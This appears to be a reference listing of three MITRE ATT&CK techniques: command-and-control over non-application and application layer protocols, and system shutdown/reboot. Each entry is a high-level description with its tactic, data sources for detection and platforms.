Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre